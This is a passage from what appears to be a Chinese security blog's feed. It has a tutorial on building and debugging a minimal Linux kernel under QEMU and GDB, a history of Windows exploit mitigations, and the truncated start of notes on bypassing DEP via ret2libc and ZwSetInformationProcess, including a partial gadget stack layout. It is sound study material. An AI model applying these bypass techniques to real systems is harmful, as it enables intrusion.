      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/minimal-linux-kernel-qemu-busybox/"/>
      <summary type="text">从源码编译一个内核，用 BusyBox 做一个 cpio initramfs 当根文件系统，在 QEMU 里跑起来，再用 -s -S 和 nokaslr 挂 GDB 进去单步调内核。</summary>
      <content type="html"><![CDATA[<blockquote><p>2021 年写的，2026 年重做了一遍。内核从 4.9 换到现在还在维护的 6.x，根文件系统从 ext3 镜像改成 cpio initramfs（不用 sudo mount、不用 root），最后加上了当年没写的一步，怎么用 GDB 真的调试进去。这套流程今天依然是读内核、复现内核漏洞的标准起点。</p></blockquote>
<section><h2>准备环境<a href="#准备环境"><span>#</span></a></h2><ul>
<li>Ubuntu 22.04 或更新的发行版（Debian 系都一样）</li>
<li>Linux 6.x 源码</li>
<li>BusyBox 最新稳定版</li>
<li>QEMU</li>
</ul><section><h3>下载源码和工具<a href="#下载源码和工具"><span>#</span></a></h3><p>在<a href="https://www.kernel.org" target="_blank">Kernel.org</a>下内核源码，在<a href="https://busybox.net/downloads" target="_blank">BusyBox 官网</a>下 BusyBox：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>wget</span><span> </span><span>https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.6.tar.xz</span></div></div><div><div><div>2</div></div><div><span>wget</span><span> </span><span>https://busybox.net/downloads/busybox-1.36.1.tar.bz2</span></div></div><div><div><div>3</div></div><div><span>tar</span><span> </span><span>xf</span><span> </span><span>linux-6.6.tar.xz</span></div></div><div><div><div>4</div></div><div><span>tar</span><span> </span><span>xf</span><span> </span><span>busybox-1.36.1.tar.bz2</span></div></div><div><div><div>5</div></div><div><span>sudo</span><span> </span><span>apt</span><span> </span><span>install</span><span> </span><span>qemu-system-x86</span><span> </span><span>build-essential</span><span> </span><span>flex</span><span> </span><span>bison</span><span> </span><span>libelf-dev</span><span> </span><span>libssl-dev</span><span> </span><span>bc</span><span> </span><span>cpio</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>当年用的是 4.9 + BusyBox 1.33，两个版本号前后还不一致（一会儿 1.33.0 一会儿 1.33.1），下面统一一下。</p></blockquote></section></section>
<section><h2>编译内核<a href="#编译内核"><span>#</span></a></h2><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>linux-6.6</span></div></div><div><div><div>2</div></div><div><span>make</span><span> </span><span>defconfig</span><span>            </span><span># 或 make x86_64_defconfig</span></div></div><div><div><div>3</div></div><div><span>make</span><span> </span><span>menuconfig</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>menuconfig</code> 里要确认几项（其实 <code>defconfig</code> 里基本都有了）：</p><ul>
<li><code>General setup -&gt; Initial RAM filesystem and RAM disk (initramfs/initrd) support</code></li>
<li><code>Device Drivers -&gt; Block devices -&gt; RAM block device support</code>（用 cpio initramfs 的话这项其实可以不要，留着也无妨）</li>
<li><code>Kernel hacking -&gt; Compile-time checks and compiler options -&gt; Compile the kernel with debug info</code>，调试用必须开</li>
<li>想让 GDB 好断点的话，<code>Kernel hacking -&gt; Compile the kernel with frame pointers</code> 也开上</li>
</ul><blockquote><p>这一步报 <code>fatal error: curses.h</code> 的话，装 <code>libncurses-dev</code>（老版本叫 <code>libncurses5-dev</code>）。</p></blockquote><p>然后编译：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>make</span><span> </span><span>-j$(</span><span>nproc</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>编译好的内核在 <code>arch/x86/boot/bzImage</code>。注意当年这里写的前后不一致。一会儿是 <code>arch/x86/boot</code>，一会儿又写成 <code>arch/x86_64/boot</code>。<strong>x86_64 的内核也是放在 <code>arch/x86/boot/bzImage</code></strong>，<code>arch/x86_64/boot/</code> 里没有 bzImage。这个坑我当年踩了。</p></section>
<section><h2>编译 BusyBox<a href="#编译-busybox"><span>#</span></a></h2><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>../busybox-1.36.1</span></div></div><div><div><div>2</div></div><div><span>make</span><span> </span><span>defconfig</span></div></div><div><div><div>3</div></div><div><span>make</span><span> </span><span>menuconfig</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li><code>Settings -&gt; Build Options -&gt; [*] Build static binary (no shared libs)</code></li>
</ul><blockquote><p>新版系统上编译 BusyBox 有个坑。<code>tc</code> 这个 applet 直接编不过去，会报一串 <code>TCA_CBQ_MAX undeclared</code>、<code>incomplete type 'struct tc_cbq_lssopt'</code> 之类的错误。原因是内核头文件从 5.x 起删掉了 CBQ 这一批旧的队列规则常量，而 BusyBox 的 <code>tc</code> 还在引用它们。处理办法是在 <code>menuconfig</code> 里把 <code>tc</code> 关掉，位置是 <code>Networking Utilities -&gt; [ ] tc</code>。这也是我当年卡住的地方。</p></blockquote><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>make</span><span> </span><span>-j$(</span><span>nproc</span><span>)</span></div></div><div><div><div>2</div></div><div><span>make</span><span> </span><span>install</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>装好的东西在 <code>_install/</code> 里。</p></section>
<section><h2>做根文件系统（cpio initramfs）<a href="#做根文件系统cpio-initramfs"><span>#</span></a></h2><p>当年是把 ext3 镜像 loop mount 出来，往里面 cp，还要 sudo。现在不用了，内核原生支持 cpio 格式的 initramfs，直接打个包就行：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>mkdir</span><span> </span><span>-p</span><span> </span><span>rootfs/{bin,sbin,etc/init.d,proc,sys,dev,tmp,mnt}</span></div></div><div><div><div>2</div></div><div><span>cp</span><span> </span><span>-a</span><span> </span><span>_install/</span><span>*</span><span> </span><span>rootfs/</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>rootfs/etc/init.d/rcS</code>：</p><div><figure><figcaption><span>rootfs/etc/init.d/rcS</span></figcaption><pre><code><div><div><div>1</div></div><div><span>#!/bin/sh</span></div></div><div><div><div>2</div></div><div><span>echo</span><span> </span><span>"Welcome to my little Linux"</span></div></div><div><div><div>3</div></div><div><span>/bin/mount</span><span> </span><span>-a</span></div></div><div><div><div>4</div></div><div><span>mkdir</span><span> </span><span>-p</span><span> </span><span>/dev/pts</span></div></div><div><div><div>5</div></div><div><span>mount</span><span> </span><span>-t</span><span> </span><span>devpts</span><span> </span><span>devpts</span><span> </span><span>/dev/pts</span></div></div><div><div><div>6</div></div><div><span>echo</span><span> </span><span>/sbin/mdev</span><span> &gt; </span><span>/proc/sys/kernel/hotplug</span></div></div><div><div><div>7</div></div><div><span>mdev</span><span> </span><span>-s</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>rootfs/etc/fstab</code>：</p><div><figure><figcaption><span>rootfs/etc/fstab</span></figcaption><pre><code><div><div><div>1</div></div><div><span>proc  /proc  proc   defaults  0 0</span></div></div><div><div><div>2</div></div><div><span>tmpfs /tmp   tmpfs  defaults  0 0</span></div></div><div><div><div>3</div></div><div><span>sysfs /sys   sysfs  defaults  0 0</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>rootfs/etc/inittab</code>：</p><div><figure><figcaption><span>rootfs/etc/inittab</span></figcaption><pre><code><div><div><div>1</div></div><div><span>::sysinit:/etc/init.d/rcS</span></div></div><div><div><div>2</div></div><div><span>::respawn:-/bin/sh</span></div></div><div><div><div>3</div></div><div><span>::askfirst:-/bin/sh</span></div></div><div><div><div>4</div></div><div><span>::ctrlaltdel:/bin/umount -a -r</span></div></div></code></pre><div><div></div><div></div></div></figure></div><blockquote><p>当年这几个文件里有两处笔误，一起改掉了。<code>moutn</code> 改成 <code>mount</code>，<code>cttlaltdel</code> 改成 <code>ctrlaltdel</code>（写错的 inittab 条目不会生效，但也不会报错，只会让你按 Ctrl+Alt+Del 的时候没反应）。</p></blockquote><p>设备节点如果打包时没有，可以在启动后由 <code>mdev -s</code> 生成；保险起见先建两个：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>sudo</span><span> </span><span>mknod</span><span> </span><span>rootfs/dev/console</span><span> </span><span>c</span><span> </span><span>5</span><span> </span><span>1</span></div></div><div><div><div>2</div></div><div><span>sudo</span><span> </span><span>mknod</span><span> </span><span>rootfs/dev/null</span><span> </span><span>c</span><span> </span><span>1</span><span> </span><span>3</span></div></div><div><div><div>3</div></div><div><span>chmod</span><span> </span><span>+x</span><span> </span><span>rootfs/etc/init.d/rcS</span><span> </span><span>rootfs/etc/inittab</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>打包：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>cd</span><span> </span><span>rootfs</span></div></div><div><div><div>2</div></div><div><span>find</span><span> </span><span>.</span><span> </span><span>-print0</span><span> | </span><span>cpio</span><span> </span><span>--null</span><span> </span><span>-ov</span><span> </span><span>--format=newc</span><span> | </span><span>gzip</span><span> </span><span>-9</span><span> &gt; </span><span>../initramfs.cpio.gz</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>在 QEMU 里跑起来<a href="#在-qemu-里跑起来"><span>#</span></a></h2><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>qemu-system-x86_64</span><span> </span><span>\</span></div></div><div><div><div>2</div></div><div><span>  </span><span>-kernel</span><span> </span><span>linux-6.6/arch/x86/boot/bzImage</span><span> </span><span>\</span></div></div><div><div><div>3</div></div><div><span>  </span><span>-initrd</span><span> </span><span>initramfs.cpio.gz</span><span> </span><span>\</span></div></div><div><div><div>4</div></div><div><span>  </span><span>-append</span><span> </span><span>"console=ttyS0 rdinit=/sbin/init"</span><span> </span><span>\</span></div></div><div><div><div>5</div></div><div><span>  </span><span>-nographic</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>看到内核打印一串启动日志，最后落到 <code>/bin/sh</code> 的提示符，就成了。</p><p>几个参数值得记一下。<code>console=ttyS0</code> 把控制台指到串口，配合 <code>-nographic</code> 就能直接在终端里交互，不用开图形窗口。<code>rdinit=</code> 指定 initramfs 里的第一个程序，也就是 PID 1。</p><p>这里有个我这次重做时踩到的坑。一开始我把 <code>rdinit</code> 直接指到 <code>/etc/init.d/rcS</code>，内核确实跑完了脚本、也打印了欢迎语，然后就 panic 了，报的是 <code>Attempted to kill init! exitcode=0x00000000</code>。原因是脚本是 PID 1，脚本执行完就退出，而 PID 1 一退出内核就没得调度了，只能崩。所以 <code>rdinit</code> 要给的是 <code>/sbin/init</code>（BusyBox 的 init），由它去读 <code>/etc/inittab</code>，按里面的 <code>::sysinit:</code> 跑 <code>rcS</code>，再按 <code>::askfirst:</code> 起 shell，这样 PID 1 会一直在。同理，把脚本改名成 <code>/init</code> 也没用，除非脚本最后 <code>exec /bin/sh</code> 把自己变成常驻进程。</p></section>
<section><h2>挂 GDB 调试内核<a href="#挂-gdb-调试内核"><span>#</span></a></h2><p>这是当年没写的一步，但其实是这套环境最有用的地方。QEMU 加两个参数：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>qemu-system-x86_64</span><span> </span><span>\</span></div></div><div><div><div>2</div></div><div><span>  </span><span>-kernel</span><span> </span><span>linux-6.6/arch/x86/boot/bzImage</span><span> </span><span>\</span></div></div><div><div><div>3</div></div><div><span>  </span><span>-initrd</span><span> </span><span>initramfs.cpio.gz</span><span> </span><span>\</span></div></div><div><div><div>4</div></div><div><span>  </span><span>-append</span><span> </span><span>"console=ttyS0 rdinit=/sbin/init nokaslr"</span><span> </span><span>\</span></div></div><div><div><div>5</div></div><div><span>  </span><span>-nographic</span><span> </span><span>-s</span><span> </span><span>-S</span></div></div></code></pre><div><div></div><div></div></div></figure></div><ul>
<li><code>-s</code> 是 <code>-gdb tcp::1234</code> 的简写，在 1234 端口开一个 gdbstub</li>
<li><code>-S</code> 让 CPU 启动时就暂停，等调试器发 <code>continue</code></li>
<li><code>nokaslr</code> 很关键。内核一旦开了 KASLR，每次启动地址都不一样，你在 GDB 里设的断点地址全对不上。研究内核的时候先把随机化关掉</li>
</ul><p>另开一个终端：</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>gdb</span><span> </span><span>linux-6.6/vmlinux</span></div></div><div><div><div>2</div></div><div><span>(</span><span>gdb</span><span>) </span><span>target</span><span> </span><span>remote</span><span> </span><span>:1234</span></div></div><div><div><div>3</div></div><div><span>(</span><span>gdb</span><span>) </span><span>hbreak</span><span> </span><span>start_kernel</span></div></div><div><div><div>4</div></div><div><span>(</span><span>gdb</span><span>) </span><span>continue</span></div></div><div><div><div>5</div></div><div><span>(</span><span>gdb</span><span>) </span><span>list</span></div></div><div><div><div>6</div></div><div><span>(</span><span>gdb</span><span>) </span><span>bt</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>vmlinux</code> 是编译出来的带符号的内核镜像（在源码根目录），不是 <code>bzImage</code>。<code>hbreak</code> 是硬件断点，内核早期还没建好页表的时候软件断点不可靠，所以第一个断点用硬件断点更稳，进去之后换成普通的 <code>b</code> 就行。</p></section>
<section><h2>今天再看<a href="#今天再看"><span>#</span></a></h2><p>这套东西二十年来基本没变，因为它就是内核开发者的日常，编译、起 QEMU、挂 GDB。变的是细节，根文件系统从 ext3 镜像变成了 cpio（省掉 root 和 loop mount 这一整串麻烦），调试从串口变成了 gdbstub，内核从 4.9 换到了 6.x，<code>menuconfig</code> 里的选项名字也改过几轮。</p><p>如果你是想<strong>读</strong>内核，这套环境的性价比其实很高。比起啃源码，能真的设断点、看栈、单步走一遍调度器或者文件系统，理解会快得多。如果你是想<strong>复现内核漏洞</strong>（CVE 那种），这几乎是标准起点。找一个受影响的版本、用同样的方式编出来、配上 qemu + gdb，再加上一点 KASAN，就能在本地把崩溃现场看清楚。这也是为什么这篇值得从 2021 年留到今天。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/windows-mitigation-history-2000-2026/</id>
      <title type="text">Windows 漏洞缓解机制简史（2000–2026）</title>
      <published>2020-11-28T00:00:00.000Z</published>
      <updated>2020-11-28T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/windows-mitigation-history-2000-2026/"/>
      <summary type="text">把 GS、DEP、ASLR、SafeSEH、SEHOP 那张 XP→Win7 的老对照表，一路扩到 Win11，加上 CFG、XFG、CET 影子栈、ACG、CIG、VBS/HVCI、KDP。每一代防御都在回答上一代攻击。</summary>
      <content type="html"><![CDATA[<blockquote><p>这是《重读〈0day安全〉》系列的收尾一篇，也最适合当整个系列的索引。前四篇一招一招地讲当年怎么打，这一篇反过来，把防御连成一条线来看。表格和前半部分来自 2020 年跟《0day安全：软件漏洞分析技术（第2版）》（failwest 等著）做的笔记；Win8 之后那段是 2026 年整理时补的，把它一直接到现在的 Windows 11。</p></blockquote>
<p>读完前四篇会有一个很清楚的感觉：每一代防御，都是在回答上一代的攻击。栈上能随便跳，于是有了 GS；SEH 能覆盖，于是有了 SafeSEH 和 SEHOP；数据页能执行，于是有了 DEP；地址固定，于是有了 ASLR。而每一道防御刚立起来，攻击方又找到缝。ret2libc 绕 DEP，部分覆盖和堆喷绕 ASLR……这场拉锯一直没停，只是战场从”改返回地址”挪到了”改函数指针”，再挪到了”先泄露地址”。</p>
<section><h2>XP 到 Win7 的第一代防御<a href="#xp-到-win7-的第一代防御"><span>#</span></a></h2><p>这是《0day安全》成书年代的格局，也就是前几篇实验里那些机制。</p>

<table><thead><tr><th></th><th>Windows XP</th><th>Windows 2003</th><th>Windows Vista</th><th>Windows 2008</th><th>Windows 7</th></tr></thead><tbody><tr><td><strong>GS</strong> 栈 cookie</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>安全 Cookie</td><td>√</td><td>√</td><td>√</td><td>√</td><td>√</td></tr><tr><td>变量重排</td><td>√</td><td>√</td><td>√</td><td>√</td><td>√</td></tr><tr><td><strong>SafeSEH</strong></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>SEH 句柄校验</td><td>√</td><td>√</td><td>√</td><td>√</td><td>√</td></tr><tr><td><strong>堆保护</strong></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>safe unlink</td><td>√(SP2)</td><td>√</td><td>√</td><td>√</td><td>√</td></tr><tr><td>安全快表</td><td>×</td><td>×</td><td>√</td><td>√</td><td>√</td></tr><tr><td>heap cookie</td><td>√(SP2)</td><td>√</td><td>√</td><td>√</td><td>√</td></tr><tr><td>元数据加密</td><td>×</td><td>×</td><td>√</td><td>√</td><td>√</td></tr><tr><td><strong>DEP</strong></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>NX 支持</td><td>√</td><td>√</td><td>√</td><td>√</td><td>√</td></tr><tr><td>永久 DEP</td><td>×</td><td>×</td><td>√</td><td>√</td><td>√</td></tr><tr><td><strong>ASLR</strong></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>PEB/TEB</td><td>√</td><td>√</td><td>√</td><td>√</td><td>√</td></tr><tr><td>堆</td><td>×</td><td>×</td><td>√</td><td>√</td><td>√</td></tr><tr><td>栈</td><td>×</td><td>×</td><td>√</td><td>√</td><td>√</td></tr><tr><td>映像</td><td>×</td><td>×</td><td>√</td><td>√</td><td>√</td></tr><tr><td><strong>SEHOP</strong></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>SEH 链校验</td><td>×</td><td>×</td><td>√(SP1)</td><td>√</td><td>√</td></tr></tbody></table><p>几个时间点值得记一下。GS 从 Visual Studio 2002/2003 起默认开；DEP 和堆的那几项安全机制随 XP SP2(2004) 进来；真正有用的映像/堆/栈 ASLR 是 Vista(2007) 才有的；SEHOP 则是 Vista SP1 / Server 2008(2008) 补上的。到 Win7，这一代防御基本定型。</p><p>这一代有个共同特点：它们大多是<strong>软件和编译层面</strong>的，靠编译器插代码(GS cookie)、靠 PE 头标志(SafeSEH、/NXCOMPAT、/dynamicbase)、靠系统加载器配合。所以前四篇里那些绕过，本质也都是在软件层面找缝，找没开 SafeSEH 的模块、找固定地址的模块、用 ret2libc 不碰数据页、用部分覆盖和堆喷不依赖完整地址。</p></section>
<section><h2>Win8 到 Win11 的第二代防御<a href="#win8-到-win11-的第二代防御"><span>#</span></a></h2><p>Win7 之后，攻击方把重心转到了”改函数指针/虚表”和”间接调用”，防御方也跟着升级，而且越来越多地<strong>借硬件和虚拟化</strong>，不再只靠编译器。</p>

<table><thead><tr><th>机制</th><th>起始版本</th><th>管什么</th><th>对应前面哪一类攻击</th></tr></thead><tbody><tr><td>强制 ASLR / 高熵 ASLR</td><td>Windows 8 (2012)</td><td>连没开 /dynamicbase 的模块也强制随机化；64 位用高熵</td><td>借没开 ASLR 的模块、堆喷占固定地址</td></tr><tr><td>CFG (Control Flow Guard)</td><td>Win8.1 Update 3 (2014)，Win10 默认</td><td>间接调用前检查目标是不是合法函数入口</td><td>虚表劫持、改函数指针</td></tr><tr><td>ACG (Arbitrary Code Guard)</td><td>Windows 10 (2017, RS3)</td><td>代码页一旦可执行就不能再改，也不能新建可执行页</td><td>ret2libc 改权限、自己写 shellcode</td></tr><tr><td>CIG (Code Integrity Guard)</td><td>Windows 10 (2017, RS3)</td><td>进程只能加载微软/可信签名的镜像</td><td>借第三方模块当跳板/载体</td></tr><tr><td>CET 影子栈（硬件强制栈保护）</td><td>Windows 10 2004/20H2 (2020)</td><td>CPU 另存一份返回地址，<code>ret</code> 时两边对不上就异常</td><td>改返回地址、ROP 的 <code>ret</code> 链</td></tr><tr><td>XFG (eXtended Flow Guard)</td><td>Windows 10 2004 (2020)</td><td>CFG 的加强版，按函数原型的类型签名校验间接调用目标</td><td>用”合法但类型不符”的函数绕 CFG</td></tr><tr><td>KDP (Kernel Data Protection)</td><td>Windows 10 2004 (2020)</td><td>用 VBS 把部分内核内存标成只读</td><td>改内核里的数据/函数指针</td></tr><tr><td>VBS / HVCI</td><td>Windows 10 起，Win11 默认要求</td><td>虚拟化隔离出一块可信区，HVCI 在其中做代码完整性校验</td><td>内核态改代码、加载未签名驱动</td></tr></tbody></table><p>这一代防御回答的，正是前四篇最后”今天再看”里反复提到的那些东西：</p><ul>
<li><strong>CET 影子栈</strong>回答的是最古老、也最顽固的那一招，改返回地址。从<a href="/zh-cn/posts/reread-0day-1-stack-overflow-and-shellcode/">第一篇</a>的栈溢出到 ROP 链，最终都要让 <code>ret</code> 跳到我们想去的地方；影子栈让 CPU 在硬件层面另存一份返回地址来对照，这条路在支持 CET 的 64 位进程上基本断了。</li>
<li><strong>CFG / XFG</strong> 回答的是<a href="/zh-cn/posts/reread-0day-4-dep-and-aslr/">第四篇</a>那个”GS 和 SEH 保护都管不住虚表”的缺口。GS 普及后虚表劫持成了主路，CFG 就专门在每次间接调用前检查目标是否合法，XFG 进一步按类型签名收紧。</li>
<li><strong>ACG / CIG</strong> 回答的是绕 DEP 那几招的”收尾”。ret2libc/ROP 最后往往要调 <code>VirtualProtect</code> 给 payload 开执行权限，或者借一个第三方模块来落地 shellcode。ACG 让”可执行页不可再改”，CIG 让”只能加载可信签名镜像”，把这两个落脚点一起堵掉。</li>
<li><strong>强制/高熵 ASLR</strong> 回答的是<a href="/zh-cn/posts/reread-0day-4-dep-and-aslr/">第四篇</a>那两个 ASLR 缺口。既然当年能借”某个忘了开 ASLR 的模块”，那就强制所有模块都随机化；既然 32 位熵不够，那 64 位就上高熵。</li>
<li><strong>KDP / VBS / HVCI</strong> 则把战线推到内核，把关键内核数据设成只读、用虚拟化隔离出可信区做代码完整性校验，针对的是把攻击从用户态抬进内核态的那类思路（也包括本系列没细讲的内核利用）。</li>
</ul></section>
<section><h2>这条线今天指向哪<a href="#这条线今天指向哪"><span>#</span></a></h2><p>两代防御叠下来，现代 Windows 上一条完整的利用链长这样：几乎必须先有一个<strong>信息泄露</strong>，拿到某个模块或堆的真实地址（因为 ASLR 让你没法猜）；再用 <strong>ROP</strong>（因为 DEP 让你不能直接执行数据，CET 又在逼着 ROP 往更难的方向走）串出逻辑；想劫持间接调用还要<strong>绕过 CFG/XFG</strong>；想在内核站稳还要面对 <strong>HVCI/KDP</strong>。换句话说，前四篇讲的每一招单独拿出来今天都打不动了，但它们恰好是这条现代利用链上每一环的”祖先”。理解了栈溢出才懂 CET 在防什么，理解了虚表劫持才懂 CFG 在防什么，理解了 ret2libc 才懂 ACG 在防什么。</p><p>还有一条不太一样的路，ARM 那边走出来了。Windows 11 on ARM 用上了指针认证(Pointer Authentication)这一类思路，在指针里塞一段密码学签名，用之前先验一遍，从另一个方向回答”返回地址和函数指针能不能被随便改”这个老问题，和 CET 算是殊途同归。</p><p>这场拉锯不会停，防御永远在回答上一轮的攻击。但正因为如此，想看懂今天的攻防，最好的起点反而是回到二十年前，看第一代溢出是怎么打的。这也是我重读这本书、整理这个系列的原因。</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.lumysia.net/zh-cn/posts/reread-0day-4-dep-and-aslr/</id>
      <title type="text">重读《0day安全》（四）DEP 和 ASLR 的早期绕过</title>
      <published>2020-11-19T00:00:00.000Z</published>
      <updated>2020-11-19T00:00:00.000Z</updated>
      <author><name>Livia</name></author>
      <link rel="alternate" href="https://blog.lumysia.net/zh-cn/posts/reread-0day-4-dep-and-aslr/"/>
      <summary type="text">ret2libc 关 DEP、VirtualProtect/VirtualAlloc 开执行权限，部分覆盖绕 ASLR，堆喷占 0x0C0C0C0C，还有虚表劫持，以及这些思路怎么长成了今天的 ROP 和信息泄露。</summary>
      <content type="html"><![CDATA[<blockquote><p>《重读〈0day安全〉》系列第四篇，基于《0day安全：软件漏洞分析技术（第2版）》（failwest 等著）的实验笔记，2020 年写，2026 年整理。前三篇讲的技巧都有一个共同前提，数据页能执行、地址是固定的。这一篇讲的就是对付这两个前提的两道保护。DEP 让数据页不能执行，ASLR 让地址不再固定。然后看当年是怎么绕过去的。弹窗用的还是<a href="/zh-cn/posts/reread-0day-1-stack-overflow-and-shellcode/">第一篇</a>那段 shellcode，不再整段重贴。这几篇笔记当年配的图现在全挂了，只能靠文字说。</p></blockquote>
<section><h2>DEP 是什么<a href="#dep-是什么"><span>#</span></a></h2><p>溢出攻击的根源是没把数据和代码分开，但重新设计计算机结构不现实，所以只能想各种办法减缓。DEP 就是其中一招：</p><ul>
<li>把数据所在的内存页标为不可执行，程序溢出跳进 shellcode 时，CPU 抛出执行异常</li>
<li>DEP 分软件 DEP 和硬件 DEP。软件 DEP 其实就是 SafeSEH 那套；硬件 DEP 在 AMD 上叫 NX(No-Execute)，Intel 上叫 XD(Execute Disable)</li>
<li>系统在页表里给内存页设 NX/XD 标记，0 表示允许执行，1 表示不允许</li>
</ul><p>DEP 有四种工作状态：</p><ul>
<li>OptIn：只给系统组件和服务开 DEP，其它程序不保护，用户可以手动给某个程序标上；这种保护能被程序动态关掉，多用于普通桌面系统</li>
<li>OptOut：除排除列表里的程序外都开 DEP，多用于服务器系统</li>
<li>AlwaysOn：对所有程序强制 DEP、不可关闭</li>
<li>AlwaysOff：一般不用</li>
</ul><blockquote><p>顺一下当年写错的地方。第二种状态是 <strong>OptOut</strong>（我当时写成了 Output）。另外，64 位进程是恒开 DEP 的、关不掉，但这不等于”AlwaysOn 只有 64 位才用”。AlwaysOn 是一个可以在 32 位系统上设的系统级策略，和”64 位进程强制 DEP”是两回事。</p></blockquote><p>程序这边，用 <code>/NXCOMPAT</code> 链接选项会在 PE 头 <code>IMAGE_OPTIONAL_HEADER</code> 的 <code>DllCharacteristics</code> 里设 <code>IMAGE_DLLCHARACTERISTICS_NX_COMPAT</code>(<code>0x100</code>)，表示该程序兼容 DEP。</p></section>
<section><h2>ret2libc 绕过 DEP 的总思路<a href="#ret2libc-绕过-dep-的总思路"><span>#</span></a></h2><p>DEP 挡的是”在数据页上执行自己的代码”。那就不执行自己的代码，跳到一段已经存在、本来就可执行的系统函数里去。这就是 ret2libc(Return-to-libc)，把 exploit 的每一步都换成系统 lib 里现成的代码。难点是不是每条指令地址都不含 <code>0x00</code>，连续跳转也容易跳错。</p><p>书里给了三条可行的路：</p><ul>
<li>跳到 <code>ZwSetInformationProcess</code> 把本进程的 DEP 关掉，再转去执行 shellcode</li>
<li>跳到 <code>VirtualProtect</code> 把 shellcode 所在页改成可执行，再执行</li>
<li>跳到 <code>VirtualAlloc</code> 申请一段可执行内存，把 shellcode 复制过去再执行</li>
</ul><section><h3>关 DEP，ZwSetInformationProcess<a href="#关-depzwsetinformationprocess"><span>#</span></a></h3><p>一个进程的 DEP 标志在 <code>KPROCESS</code> 的 <code>_KEXECUTE_OPTION</code> 里：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>Pos0</span><span>  </span><span>ExecuteDisable</span><span>        : </span><span>1</span></div></div><div><div><div>2</div></div><div><span>Pos1</span><span>  </span><span>ExecuteEnable</span><span>         : </span><span>1</span></div></div><div><div><div>3</div></div><div><span>Pos2</span><span>  </span><span>DisableThunkEmulation</span><span> : </span><span>1</span></div></div><div><div><div>4</div></div><div><span>Pos3</span><span>  </span><span>Permanent</span><span>             : </span><span>1</span></div></div><div><div><div>5</div></div><div><span>Pos4</span><span>  </span><span>ExecuteDispatchEnable</span><span> : </span><span>1</span></div></div><div><div><div>6</div></div><div><span>Pos5</span><span>  </span><span>ImageDispatchEnable</span><span>   : </span><span>1</span></div></div><div><div><div>7</div></div><div><span>Pos6</span><span>  </span><span>Spare</span><span>                 : </span><span>2</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>DEP 开时 <code>ExecuteDisable=1</code>，关时 <code>ExecuteEnable=1</code>，<code>Permanent=1</code> 后这些标志就锁死不能改了。我们只要把这个值设成 <code>0x02</code>(<code>ExecuteEnable=1</code>) 就能关掉 DEP。对应的调用是：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>ULONG</span><span> </span><span>ExecuteFlags</span><span> </span><span>=</span><span> </span><span>MEM_EXECUTE_OPTION_ENABLE</span><span>;</span><span>  // 0x2</span></div></div><div><div><div>2</div></div><div><span>ZwSetInformationProcess</span><span>(</span></div></div><div><div><div>3</div></div><div><span>    </span><span>NtCurrentProcess</span><span>(),</span><span>   // -1</span></div></div><div><div><div>4</div></div><div><span>    </span><span>ProcessExecuteFlags</span><span>,</span><span>  // 0x22</span></div></div><div><div><div>5</div></div><div><span>    </span><span>&amp;</span><span>ExecuteFlags</span><span>,</span></div></div><div><div><div>6</div></div><div><span>    </span><span>sizeof</span><span>(</span><span>ExecuteFlags</span><span>)</span><span>  // 0x4</span></div></div><div><div><div>7</div></div><div><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><div><div></div><div>说明</div></div><div><p>测试环境：Windows XP SP3，DEP=OptOut，VC6，禁用优化，release。</p></div></div><p>在栈上用 ret2libc 把这组调用拼出来，是整篇里最绕的一段，栈排布大致是：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>... 溢出填充 ...</span></div></div><div><div><div>2</div></div><div><span>52 E2 92 7C   ; 一条 "mov eax,1; ret" 的地址（下面要比较 al 是否为 1）</span></div></div><div><div><div>3</div></div><div><span>96 73 1B 5D   ; "push esp; pop ebp; retn N" 修 ebp</span></div></div><div><div><div>4</div></div><div><span>1E AD 17 5D   ; 把 esp 再抬 0x24，凑出 0x30 的栈空间</span></div></div><div><div><div>5</div></div><div><span>B4 C1 C5 7D   ; jmp 